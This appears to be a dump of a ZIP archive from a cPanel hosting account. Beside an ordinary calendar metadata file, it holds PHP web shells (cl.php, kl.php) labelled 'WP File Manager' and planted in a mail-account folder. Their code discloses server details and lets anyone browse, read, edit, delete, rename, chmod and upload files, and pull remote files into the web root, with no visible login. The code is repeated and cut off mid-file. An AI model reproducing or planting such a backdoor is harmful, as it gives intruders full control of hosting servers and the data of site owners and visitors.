"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]· é’BB%finance@dunyagozbalkans.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK‘&{]„N9³§Ë§Ë"finance@dunyagozbalkans.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ë"finance@dunyagozbalkans.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive 